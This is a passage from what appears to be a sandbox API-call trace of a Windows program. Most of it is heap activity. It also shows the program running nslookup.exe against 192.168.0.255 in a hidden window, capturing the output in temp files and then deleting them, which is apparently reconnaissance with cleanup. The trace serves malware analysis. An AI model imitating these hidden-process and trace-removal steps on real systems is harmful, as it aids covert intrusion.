BaseAddress=0x1c39960) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39840) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d318) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d578) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ffc0) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a38) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d358) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a80) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d368) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ac8) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d378) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b10) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d388) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d398) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3a8) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39be8) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3b8) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c30) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3c8) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c78) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3d8) returned 1 [0052.772] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bc08) returned 1 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x20) returned 0x1d3ffc0 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3d8 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c78 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3c8 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c30 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3b8 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39be8 [0052.772] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3a8 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d398 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d388 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b10 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d378 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ac8 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397f8) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c9d8) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d478) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32d08) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32d50) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5a8) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32d98) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d598) returned 1 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3dd90) returned 1 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397f8 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0052.773] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0052.773] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0052.774] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397f8) returned 1 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d630 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d598 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397f8 [0052.774] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.774] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.774] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0052.774] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0052.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c39918, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0052.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c39918, cbMultiByte=13, lpWideCharStr=0x1d3eb70, cchWideChar=13 | out: lpWideCharStr="192.168.0.255") returned 13 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0052.774] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0052.774] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0052.774] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0052.774] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0052.775] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0052.775] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.775] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0052.775] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.776] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.776] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.776] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.777] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.777] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.777] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.778] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.778] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.778] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.779] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.779] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.779] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.780] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.780] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.780] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="AB8", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\AB8BD78.tmp" (normalized: "c:\\windows\\temp\\ab8bd78.tmp")) returned 0xbd78 [0052.781] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0052.781] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c344f8 [0052.781] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\AB8BD78.tmp", lpszShortPath=0x1c344f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\AB8BD78.tmp") returned 0x1b [0052.781] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0052.781] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0052.782] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0052.782] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0052.782] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x255a28) returned 1 [0052.782] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0052.782] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.782] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0052.782] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.783] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.783] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.783] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.784] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.784] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.784] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.785] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.785] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.785] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.786] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.786] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.786] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.787] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.787] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.787] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.787] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.787] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.788] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.788] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.788] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.788] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0052.789] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0052.789] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0052.789] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="5Bd", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\5BdBD79.tmp" (normalized: "c:\\windows\\temp\\5bdbd79.tmp")) returned 0xbd79 [0052.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0052.790] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c34900 [0052.790] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\5BdBD79.tmp", lpszShortPath=0x1c34900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\5BdBD79.tmp") returned 0x1b [0052.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0052.790] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0052.790] CreateFileW (lpFileName="C:\\Windows\\TEMP\\AB8BD78.tmp" (normalized: "c:\\windows\\temp\\ab8bd78.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140 [0052.790] CreateFileW (lpFileName="C:\\Windows\\TEMP\\5BdBD79.tmp" (normalized: "c:\\windows\\temp\\5bdbd79.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0052.790] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x140, hStdError=0x13c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255", lpProcessInformation=0x18f9b8*(hProcess=0x138, hThread=0x144, dwProcessId=0x9ac, dwThreadId=0x9bc)) returned 1 [0052.798] NtClose (Handle=0x144) returned 0x0 [0052.798] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xea60) returned 0x0 [0054.175] NtClose (Handle=0x140) returned 0x0 [0054.179] NtClose (Handle=0x13c) returned 0x0 [0054.179] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0054.179] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\AB8BD78.tmp" (normalized: "c:\\windows\\temp\\ab8bd78.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696ad3d0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x696ad3d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6a3eae30, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x2c)) returned 1 [0054.179] CreateFileW (lpFileName="C:\\Windows\\TEMP\\AB8BD78.tmp" (normalized: "c:\\windows\\temp\\ab8bd78.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0054.180] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0054.180] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x2c [0054.180] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0054.180] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0054.180] ReadFile (in: hFile=0x13c, lpBuffer=0x1c397b0, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x1c397b0*, lpNumberOfBytesRead=0x18f974*=0x2c, lpOverlapped=0x0) returned 1 [0054.180] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0054.180] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0054.180] NtClose (Handle=0x13c) returned 0x0 [0054.180] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\AB8BD78.tmp" (normalized: "c:\\windows\\temp\\ab8bd78.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696ad3d0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x696ad3d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6a3eae30, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x2c)) returned 1 [0054.180] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\AB8BD78.tmp", dwFileAttributes=0x80) returned 1 [0054.180] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\AB8BD78.tmp" (normalized: "c:\\windows\\temp\\ab8bd78.tmp")) returned 1 [0054.181] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\5BdBD79.tmp" (normalized: "c:\\windows\\temp\\5bdbd79.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696ad3d0, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x696ad3d0, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6a3eae30, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x3d)) returned 1 [0054.181] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\5BdBD79.tmp", dwFileAttributes=0x80) returned 1 [0054.181] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\5BdBD79.tmp" (normalized: "c:\\windows\\temp\\5bdbd79.tmp")) returned 1 [0054.182] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0054.182] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0054.182] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0054.182] NtClose (Handle=0x138) returned 0x0 [0054.182] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c34900) returned 1 [0054.182] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c344f8) returned 1 [0054.182] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d660 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d5a8 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d08 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a80 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d478 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a38 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d648 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39840 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d368 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39960 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d358 [0054.183] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d08) returned 1 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5a8) returned 1 [0054.183] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a80) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a38) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d478) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0054.184] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d660) returned 1 